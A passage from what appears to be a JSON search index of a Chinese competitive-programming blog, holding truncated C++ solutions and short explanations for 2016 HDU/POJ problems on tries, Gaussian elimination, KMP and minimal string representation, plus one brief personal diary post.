34char s[N][25]; 35int n; 36struct Trie 37{ 38 struct Node 39 { 40 Node *nxt[26]; 41 int cnt; 42 Node() 43 { 44 for ( int i = 0 ; i \u003c 26; i++) nxt[i] = NULL; 45 cnt = 0 ; 46 } 47 }; 48 Node *root; 49 void init() 50 { 51 root = new Node(); 52 } 53 Trie() 54 { 55 root = new Node(); 56 } 57 void Insert(char *s) 58 { 59 Node *u = root; 60 int len = strlen(s); 61 for ( int i = 0 ; i \u003c len ; i++) 62 { 63 int v = s[i]-'a'; 64 if (u-\u003enxt[v]==NULL) u-\u003enxt[v] = new Node(); 65 u = u-\u003enxt[v]; 66 u-\u003ecnt++; 67 } 68 } 69 string Find(char *s) 70 { 71 Node *u = root; 72 string res=\"\"; 73 int len = strlen(s); 74 for ( int i = 0 ; i \u003c len ; i++) 75 { 76 int v = s[i]-'a'; 77 res = res + s[i]; 78 u = u-\u003enxt[v]; 79 if (u-\u003ecnt==1) return res; //cnt为1表示应该就唯一了吧。。。 80 } 81 } 82}trie; 83in","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/poj-2001/","section":"Posts","summary":"poj 2001 题目链接 题意：给出n个字符串的表，问每个字符串的简化表示。简化表示的要求是，以该字符串的最短的而且不能产生歧义的前缀来表示。","tags":["trie"],"title":"poj 2001 Shortest Prefixes (trie树)","type":"post"},{"categories":["ACM"],"content":"poj 3630 题目链接 题意：给出n个字符串，问是否满足所有的字符串都不以其他的字符串为前缀。 思路：字典树，先建树，然后每次查找的之前先删掉自己，找完以后再加回来。 以及这题动态建艹不过。。。学习了一下静态建树的写法。。。第一次写静态的写法。。。可以当做模板用。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月16日 星期二 00时46分23秒 4File Name :code/poj/3630.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35char s[N][12]; 36int tot; 37struct Trie 38{ 39 int nxt[10]; 40 int cnt; 41 42 void init() 43 { 44 ms(nxt,0); 45 cnt = 0; 46 } 47}trie[N]; 48int add() 49{ 50 memset(\u0026trie[tot],0,sizeof(Trie)); 51 return tot++; 52} 53void Insert(char *s) 54{ 55 int rt = 0 ; 56 int len = strlen(s); 57 for ( int i = 0 ; i \u003c len ; i++) 58 { 59 int v = s[i]-'0'; 60 if (!trie[rt].nxt[v]) trie[rt].nxt[v] = add(); 61 rt = trie[rt].nxt[v]; 62 trie[rt].cnt++; 63 } 64} 65void Delete(char *s) 66{ 67 int rt = 0 ; 68 int len = strlen(s); 69 for ( int i = 0 ; i \u003c len ; i++) 70 { 71 int v = s[i]-'0'; 72 if (trie[rt].nxt[v]) 73 { 74 rt = trie[rt].nxt[v]; 75 trie[rt].cnt--; 76 } 77 } 78} 79bool Find(char *s) 80{ 81 int rt = 0 ; 82 int len = strlen(s); 83 for ( int i = 0 ; i \u003c len ;i++) 84 { 85 int v = s[i]-'0'; 86 if (!trie[rt].nxt[v]||","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/poj-3630/","section":"Posts","summary":"poj 3630 题目链接 题意：给出n个字符串，问是否满足所有的字符串都不以其他的字符串为前缀。","tags":["trie"],"title":"poj 3630 Phone List (带删除操作的静态trie树模板题)","type":"post"},{"categories":["ACM"],"content":"hdu 1247 题目链接 题意：给出n个字符串的单词表，输出所有的字符串a，满足字符串a是由n中另外两个字符串拼接成的。 思路：字典树。。其实我一开始想出了正解。。。。就是分割一个单词然后分别在trie上查找。。。但是由于题目坑爹得没给单词的长度这个数据范围。。并不是很敢写2333。。。看了下题解发现就是这么做。。。然后写了下1A。。。 不给数据范围玩个鸟啊。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月16日 星期二 00时08分01秒 4File Name :code/hdu/1247.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N = 5E4+7; 34char s[N][200]; 35int n ; 36struct Trie 37{ 38 struct Node 39 { 40 Node *nxt[26]; 41 bool ok; //标记单词的结尾 42 Node() 43 { 44 for ( int i = 0 ; i \u003c 26 ; i++) nxt[i] = NULL; 45 ok = false; 46 } 47 }; 48 Node *root; 49 void init() 50 { 51 root = new Node(); 52 } 53 Trie() 54 { 55 root = new Node(); 56 } 57 void Insert(char *s) 58 { 59 Node *u = root; 60 int len = strlen(s); 61 for ( int i = 0 ; i \u003c len ; i++) 62 { 63 int v = s[i]-'a'; 64 if (u-\u003enxt[v]==NULL) u-\u003enxt[v] = new Node(); 65 u = u-\u003enxt[v]; 66 } 67 u-\u003eok = true; 68 } 69 bool Find(char *s) 70 { 71 Node *u = root; 72 int len = strlen(s); 73 for ( int i = 0 ; i \u003c len ; i++) 74 { 75 int v = s[i]-'a'; 76 if (u-\u003enxt[v]==NULL) return 0; 77 u=u-\u003enxt[v]; 78 } 79 return u-\u003eok; 80 } 81}trie; 82int main() 83{ 84 #ifndef","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/hdu-1247/","section":"Posts","summary":"hdu 1247 题目链接 题意：给出n个字符串的单词表，输出所有的字符串a，满足字符串a是由n中另外两个字符串拼接成的。","tags":["trie"],"title":"hdu 1247 Hat’s Words (trie树)","type":"post"},{"categories":["ACM"],"content":"hdu 5536 题目链接 题意：给出n个数，然后问最大的(a[i]+a[j])^a[k] (i,j,k互不相同) 思路：异或和最大很容易想到字典树。。但是如何保证i,j,k互不相同这里没有想明白。。。。。我的想法是加一个标记代表之前的id，但是我加的标记是只有在叶子节点上才有的。。。也就是会出现走到了最后一步才发现这个节点是不能走的情况。。。 正确的做法是，加一个cnt标记。 每次插入的时候，这个数从根节点到叶子节点每个节点的cnt都+1 删除的时候做就是每个节点的cnt都-1. 这样子每次Find的时候只走cnt\u003e0的点。。 这种做法的正确性基与： 两个不同的数。。一定有至少一位的二进制数不同。。。保证了当只出现过一次的数x被删掉以后，其他的数y的存在不会导致经过x的路径 ** 两个相同的数，每一位二进制数位都是相同搞的。 **保证了id不同的相同的数。。即使一个被删掉。。另外的也可以继续访问。。。因为cnt仍然是大于0的。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月15日 星期一 22时54分03秒 4File Name :code/hdu/5536.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int LEN=32; 34const int N=1005; 35int n; 36char str[35]; 37int a[N]; 38struct Trie 39{ 40 struct Node 41 { 42 Node *nxt[2]; 43 int val; 44 int cnt; 45 Node() 46 { 47 for (int i = 0 ; i \u003c 2 ; i++) nxt[i] = NULL; 48 cnt = 0 ; 49 } 50 }; 51 Node *root; 52 void init() 53 { 54 root = new Node(); 55 } 56 Trie() 57 { 58 root = new Node(); 59 } 60 void Insert(char *s,int num) 61 { 62 Node *u = root; 63 int len = strlen(s); 64 for ( int i = 0 ; i \u003c len ; i++) 65 { 66 int v = s[i]-'0'; 67 if (u-\u003enxt[v]==NULL) u-\u003enxt[v] = new Node(); 68 u=u-\u003enxt[v]; 69 u-","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/hdu-5536/","section":"Posts","summary":"hdu 5536 题目链接 题意：给出n个数，然后问最大的(a[i]+a[j])^a[k] (i,j,k互不相同)","tags":["trie"],"title":"hdu 5536 || 2015 长春区域赛 J  Chip Factory (带删除操作的trie树)","type":"post"},{"categories":["ACM"],"content":"hdu 4825 题目链接 题意：给定n个数，然后给出m个询问，每组询问一个数x，问n中的数y使得x和y的异或和最大。 思路：字典树。。把每个数转化成二进制，注意补全前导0，使得所有数都有相同的位数。 如果想要异或和最大，那么每一位尽可能都是1. 所以做法是，先构建字典树，然后每次find的时候，尽可能按照和当前寻找的数的位相反的位的方向走（如果有的话） 比如当前位是1，那我就往0的方向走。 需要注意的是，多组数据，每次要重新初始化一遍。 做法是 在struct 中重新 root = new Node() 一下。。这样就重新调用了Node中初始化用的构造函数。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月15日 星期一 20时03分05秒 4File Name :code/hdu/4825.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int LEN = 32; 34int n,m; 35char str[35]; 36struct Trie 37{ 38 struct Node 39 { 40 Node *nxt[2]; 41 int val; 42 Node() 43 { 44 for ( int i = 0 ; i \u003c 2 ; i++) nxt[i]=NULL; 45 val = 0 ; 46 } 47 }; 48 Node *root; 49 void init() 50 { 51 root = new Node(); 52 } 53 Trie() 54 { 55 root = new Node(); 56 } 57 void Insert(char *s,int num) 58 { 59 Node *u =root; 60 int len = strlen(s); 61// cout\u003c\u003c\" len :\"\u003c\u003clen\u003c\u003cendl; 62 for ( int i = 0 ; i \u003c len ; i++) 63 { 64 int v = s[i]-'0'; 65 if (u-\u003enxt[v]==NULL) u-\u003enxt[v] = new Node(); 66 u = u-\u003enxt[v]; 67 } 68 u-\u003eval = num; 69 } 70 int Find(char *s) 71 { 72 Node *u = root; 73 int len = strlen(s); 74 for ( int i = 0 ; i \u003c len ; i++) 75 { 76 int x = s[i]","date":"2016-08-15","externalUrl":null,"permalink":"/2016/08/hdu-4828-xor-sum-trie-/","section":"Posts","summary":"hdu 4825 题目链接 题意：给定n个数，然后给出m个询问，每组询问一个数x，问n中的数y使得x和y的异或和最大。","tags":["trie"],"title":"hdu 4828 Xor Sum (trie 树模板题，经典应用)","type":"post"},{"categories":["ACM"],"content":"hdu 1251 题目链接 题意：先给一个单词表，然后给出若干查询，每个查询一个单词，问单词表中以这个单词为前缀的单词的个数。 思路：trie树裸题。第一次写trie树。。感觉要注意的是trie树是一个比较耗费空间的数据结构。。？ 以及动态开辟内存记得free…？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月14日 星期日 19时58分41秒 4File Name :code/hdu/1251.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35char s[20]; 36 37struct Trie 38{ 39 struct Node 40 { 41 Node *nxt[26]; 42 int cnt; 43 Node() 44 { 45 for ( int i = 0 ; i \u003c 26; i++) nxt[i]=NULL; 46 cnt = 0 ; 47 } 48 }; 49 Node *root; 50 void init() 51 { 52 root = new Node(); 53 } 54 Trie() 55 { 56 root = new Node(); 57 } 58 void Insert(char *s) 59 { 60 Node *u = root; 61 int len = strlen(s); 62 for ( int i = 0 ; i \u003c len ; i++) 63 { 64 int v = s[i]-'a'; 65 if (u-\u003enxt[v]==NULL) u-\u003enxt[v]=new Node(); 66 u = u-\u003enxt[v]; 67 u-\u003ecnt++; 68 } 69 } 70 int Find(char *s) 71 { 72 Node *u = root; 73 int len = strlen(s); 74 for ( int i = 0 ; i \u003c len ; i++) 75 { 76 int v = s[i]-'a'; 77 if (u-\u003enxt[v]==NULL) return 0; 78 u = u-\u003enxt[v]; 79 } 80 return u-\u003ecnt; 81 } 82 83}trie; 84int main() 85{ 86 #ifndef ONLINE_JUDGE 87 freopen(\"code/in.txt\",\"r\",stdin); 88 #endif 89 90 while (gets(s)) 91 { 92 int l","date":"2016-08-14","externalUrl":null,"permalink":"/2016/08/hdu-1251/","section":"Posts","summary":"hdu 1251 题目链接 题意：先给一个单词表，然后给出若干查询，每个查询一个单词，问单词表中以这个单词为前缀的单词的个数。","tags":["trie"],"title":"hdu 1251 统计难题 (trie树模板题)","type":"post"},{"categories":["ACM"],"content":"hdu 5833 题目链接 题意：n个数，保证每个数的素因子不超过2000，从中取若干个，问乘积是完全平方数的方案数。 思路： 完全平方数就是要求每个质因子的指数是偶数次。 列方程组，a1,a2,a3……am分别表示bi是否在集合中。对于每一个素因子，建立异或方程组，要求因子个数为偶数，即异或为0 然后得到自由元的个数为num,答案为2^num-1 (减去空集) 1#include \u003ciostream\u003e 2#include \u003cstring.h\u003e 3#include \u003cmath.h\u003e 4#include \u003cqueue\u003e 5#include \u003calgorithm\u003e 6#include \u003cstdlib.h\u003e 7#include \u003cmap\u003e 8#include \u003cset\u003e 9#include \u003cstdio.h\u003e 10using namespace std; 11typedef long long LL ; 12#define pi acos(-1.0) 13const int mod=1e9+7; 14const int INF=1e9; 15const double eqs=1e-9; 16const int N=310; 17LL mat[N][N], a[N], equ, var, prime[N]; 18LL c[N]; 19LL gauss() 20{ 21 LL i, j, k, h, max_r, tmp; 22 for(i=0,j=0;i\u003cequ\u0026\u0026j\u003cvar;i++,j++){ 23 max_r=i; 24 for(k=i+1;k\u003cequ;k++){ 25 if(mat[k][j]\u003emat[max_r][j]) max_r=k; 26 } 27 if(max_r!=i){ 28 for(k=j;k\u003c=var;k++){ 29 swap(mat[i][k],mat[max_r][k]); 30 } 31 } 32 if(mat[i][j]==0){ 33 i--; 34 continue ; 35 } 36 for(k=i+1;k\u003cequ;k++){ 37 if(mat[k][j]==0) continue ; 38 for(h=j;h\u003c=var;h++){ 39 mat[k][h]^=mat[i][h]; 40 } 41 } 42 } 43 tmp=i; 44 //printf(\"%d\\n\",tmp); 45 for(;i\u003cequ;i++){ 46 if(mat[i][var]){ 47 return 0; 48 } 49 } 50 return var-tmp; 51} 52void output(int k) 53{ 54 LL i, j, x, y, tmp; 55 memset(c,0,sizeof(c)); 56 c[0]=1; 57 x=0; 58 for(i=0;i\u003ck;i++){ 59 for(j=0;j\u003c=80;j++){ 60 y=(c[j]*2+x); 61 x=(c[j]*2+x)/10; 62 c[j]=y; 63 } 64 } 65 for(i=80;i\u003e=0;i--){ 66 if(c[i]){ 67 tmp=i; 68 break; 69 } 70 } 71 c[0]--; 72 for(i=tmp;i\u003e=0;i--){ 73 printf(\"%lld\",c[i]); 74 } 75 puts(\"\"); 76} 77void init() 78{ 79 LL i, j, cnt=0, flag; 80 for(i=2;;i++){ 81 flag=0; 82 for(j=2;j*j\u003c=i;j++){ 83 if(i%j==0){ 84 flag=1; 85 break; 86 } 87 } 88 if(!flag){ 89 prime[cnt++]=i; 90 } 91 if(cnt==305) return ; 92 } 93} 94LL ksm(LL a,LL b) 95{ 96 LL res = 1LL; 97 while (b\u003e0) 98 { 99 if (b\u00261) 100 res = (res*a)%MOD; 101 b = b/2; 102 a = (a*a)%MOD; 103 }","date":"2016-08-14","externalUrl":null,"permalink":"/2016/08/hdu-5833/","section":"Posts","summary":"hdu 5833 题目链接 题意：n个数，保证每个数的素因子不超过2000，从中取若干个，问乘积是完全平方数的方案数。","tags":["math","高斯消元"],"title":"hdu 5833 || ccpc 2016 网络赛 1002 Zhu and 772002 （高斯消元）","type":"post"},{"categories":["ACM"],"content":"hdu 5835 题目链接 题意：n种礼物，每种a[i]个。现在有无穷个小朋友排成一排，分给每个人一个“普通”的礼物，一个“昂贵”的礼物（哪个普通哪个昂贵是自己定的，或者说，任意的） 要求是相邻的小朋友的普通的礼物不能是同一种。现在问最多能给多少小朋友分礼物。。。 思路：容易知道，因为昂贵的礼物是没有限制的。。所以没什么用。。考虑礼物总数sum..那么最多只可能分给sum/2个小朋友。。。然后再两个指针模拟一下。。记得特判n=1的情况。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月14日 星期日 12时46分56秒 4File Name :code/ccpc2016/1004.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=11; 34int n; 35int a[N]; 36int total; 37bool bian[N]; 38bool cmp(int a,int b) 39{ 40 return a\u003eb; 41} 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 freopen(\"code/in.txt\",\"r\",stdin); 46 #endif 47 int T; 48 cin\u003e\u003eT; 49 int cas = 0 ; 50 while (T--) 51 { 52 printf(\"Case #%d: \",++cas); 53 scanf(\"%d\",\u0026n); 54 ms(bian,false); 55 total = 0 ; 56 for ( int i = 1 ; i \u003c= n ; i++) 57 { 58 scanf(\"%d\",\u0026a[i]); 59 total +=a[i]; 60 } 61 if (n==1) 62 { 63 if (a[1]\u003e1) 64 puts(\"1\"); 65 else puts(\"0\"); 66 continue; 67 } 68 sort(a+1,a+n+1,cmp); 69 int R = total/2; 70 int cur = 0 ; 71 int i = 1; 72 int j = 2; 73 while (cur\u003cR\u0026\u0026i\u003c=n\u0026\u0026j\u003c=n) 74 { 75// int x = a[i]; 76// int y = a[j]; 77 if (a[i]==a[j]) 78 { 79 cur +=a[i]+a[j]; 80 a[i] = 0; 81 a[j] = 0; 82 i = j+","date":"2016-08-14","externalUrl":null,"permalink":"/2016/08/hdu-5835/","section":"Posts","summary":"hdu 5835 题目链接 题意：n种礼物，每种a[i]个。现在有无穷个小朋友排成一排，分给每个人一个“普通”的礼物，一个“昂贵”的礼物（哪个普通哪个昂贵是自己定的，或者说，任意的） 要求是相邻的小朋友的普通的礼物不能是同一种。现在问最多能给多少小朋友分礼物。。。","tags":["模拟"],"title":"hdu 5835 || ccpc 2016 网络赛 1004 Danganronpa (模拟)","type":"post"},{"categories":["ACM"],"content":"hdu 5842题目链接 题意：给一个只由小写字母组成的字符串，每个字符映射到一个数字，问映射之后的最长上升子序列的长度。。 思路：上来写nlogn的LIS是我无脑了。。。wa了之后想了下。。其实只要统计不同的字母数就好了啊。。。set一下 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月14日 星期日 12时13分22秒 4File Name :code/ccpc2016/1011.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=1E5+7; 36char s[N]; 37int a[N]; 38int dp[N]; 39int g[N]; 40set\u003cint\u003ese; 41int main() 42{ 43 #ifndef ONLINE_JUDGE 44 freopen(\"code/in.txt\",\"r\",stdin); 45 #endif 46 int T; 47 int cas = 0 ; 48 cin\u003e\u003eT; 49 while (T--) 50 { 51 scanf(\"%s\",s); 52 ms(a,0); 53 ms(dp,0); 54 ms(g,0x3f); 55 int len = strlen(s); 56 for ( int i = 0 ; i \u003c len ; i++) 57 a[i+1] = s[i]-'a'+1; 58 59 int res = 0 ; 60 se.clear(); 61 for ( int i = 1 ; i \u003c= len ;i++) se.insert(a[i]); 62 res = se.size(); 63 64 /* for ( int i = 1 ; i \u003c= len ; i++) 65 { 66 // cout\u003c\u003c\"i:\"\u003c\u003ca[i]\u003c\u003cendl; 67 int k = lower_bound(g+1,g+len+1,a[i])-g; 68 dp[i] = k; 69 g[k] = a[i]; 70 res = max(res,dp[i]); 71 } */ 72 printf(\"Case #%d: %d\\n\",++cas,res); 73 74 } 75 76 #ifndef ONLINE_JUDGE 77 fclose(stdin); 78 #endif 79 return 0; 80}","date":"2016-08-14","externalUrl":null,"permalink":"/2016/08/hdu-5842/","section":"Posts","summary":"hdu 5842题目链接 题意：给一个只由小写字母组成的字符串，每个字符映射到一个数字，问映射之后的最长上升子序列的长度。。","tags":["set"],"title":"hdu 5842 || 2016 ccpc 网络赛 1011 Lweb and String（set）","type":"post"},{"categories":["随笔杂谈"],"content":"感觉终于走在了正确的道路上了。 要是时间再多一点就好了。 我对成绩没有太多期待，顺其自然就好咯。 唯一的执念，就是，争取艹翻Pacedect (微笑脸) 嘛，其实也不是有仇恨啦 非要说就是有人太不可爱，我比较记仇2333333 晚安。","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/20160813/","section":"Posts","summary":"感觉终于走在了正确的道路上了。 要是时间再多一点就好了。 我对成绩没有太多期待，顺其自然就好咯。","tags":["算法竞赛"],"title":"20160813随笔","type":"post"},{"categories":["ACM"],"content":"hdu 3374 题目链接 题意：给出一个循环字符串，问最小表示出现的位置以及次数，最大表示出现的位置以及次数。 思路：之前只写过最小表示。。最大表示其实是一样的。。。把不等式方向变号即可。。。对于出现的次数。。。其实就等同于这个字符串是由几个子串组成。。。跑一遍kmp。。答案为len-nxt[len]，1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月13日 星期六 03时22分47秒 4File Name :code/hdu/3374.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34char s[N],tmp[N]; 35int minRep(char *s) 36{ 37 int n = strlen(s); 38 int i = 0; 39 int j = 1; 40 int k = 0; 41 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 42 { 43 int t = s[(i+k)%n]-s[(j+k)%n]; 44 if (t==0) k++; 45 else 46 { 47 if (t\u003e0) 48 i+=k+1; 49 else j +=k+1; 50 if (i==j) j++; 51 k = 0 ; 52 } 53 } 54 return i\u003cj?i:j; 55} 56int maxRep(char *s) 57{ 58 int n = strlen(s); 59 int i = 0 ; 60 int j = 1 ; 61 int k = 0 ; 62 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 63 { 64 int t = s[(i+k)%n]-s[(j+k)%n]; 65 if (t==0) k++; 66 else 67 { 68 if (t\u003c0) 69 i+=k+1; 70 else j+=k+1; 71 if (i==j) j++; 72 k = 0 ; 73 } 74 } 75 return i\u003cj?i:j; 76} 77int nxt[N]; 78void getnxt(char *s) 79{ 80 int n = strlen(s); 81 int i = 0 ; 82 int j = -1; 83 nxt[0] = -1; 84 while (i\u003cn) 85 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 86 else j = nxt[j]; 87} 88int main() 89{ 90 ","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/hdu-3374/","section":"Posts","summary":"hdu 3374 题目链接 题意：给出一个循环字符串，问最小表示出现的位置以及次数，最大表示出现的位置以及次数。 思路：之前只写过最小表示。。最大表示其实是一样的。。。把不等式方向变号即可。。。对于出现的次数。。。其实就等同于这个字符串是由几个子串组成。。。跑一遍kmp。。答案为len-nxt[len]，1A","tags":["kmp","字符串循环同构","最小表示法"],"title":"hdu 3374 String Problem (字符串的最小/大表示法+kmp)","type":"post"},{"categories":["ACM"],"content":"hdu 2609 题目链接 题意：给出n个循环字符串，问有多少种。 思路：将每个字符串换成最小表示，然后set存一下即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月13日 星期六 02时44分21秒 4File Name :code/hdu/2609.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int n; 35char s[N][105]; 36set\u003cstring\u003ese; 37int minRep(char *s) 38{ 39 int n = strlen(s); 40 int i = 0 ; 41 int j = 1 ; 42 int k = 0 ; 43 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 44 { 45 int t = s[(i+k)%n] - s[(j+k)%n]; 46 if (t==0) k++; 47 else 48 { 49 if (t\u003e0) 50 i+=k+1; 51 else j+=k+1; 52 if (i==j) j++; 53 k = 0 ; 54 } 55 } 56 return i\u003cj?i:j; 57} 58int main() 59{ 60 #ifndef ONLINE_JUDGE 61 freopen(\"code/in.txt\",\"r\",stdin); 62 #endif 63 while (~scanf(\"%d\",\u0026n)) 64 { 65 ms(s,0); 66 se.clear(); 67 // cout\u003c\u003c\"n:\"\u003c\u003cn\u003c\u003cendl; 68 char tmp[105]; 69 for ( int i = 0 ; i \u003c n; i++) 70 { 71 scanf(\"%s\",tmp); 72// cout\u003c\u003c\"tmp:\"\u003c\u003ctmp\u003c\u003cendl; 73 int k = minRep(tmp); 74// 